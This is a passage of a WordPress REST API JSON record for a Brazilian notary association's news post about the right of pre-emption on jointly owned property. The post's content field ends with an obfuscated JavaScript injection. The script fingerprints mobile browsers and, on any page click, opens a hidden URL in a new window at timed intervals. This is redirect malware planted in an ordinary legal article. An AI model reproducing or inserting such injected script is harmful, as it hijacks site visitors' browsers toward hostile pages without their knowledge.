)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp;&nbsp;&nbsp;&nbsp; Direito de prefer&ecirc;ncia &eacute; a prerrogativa de se adquirir um bem pelas mesmas condi&ccedil;&otilde;es oferecidas a terceiro (como pre&ccedil;o e forma de pagamento). Tratando-se de bem comum, o exerc&iacute;cio do direito de prefer&ecirc;ncia objetiva mant&ecirc;-lo no dom&iacute;nio de quem &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1781","post","type-post","status-publish","format-standard","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/1781","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=1781"}],"version-history":[{"count":0,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/1781\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=1781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=1781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=1781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}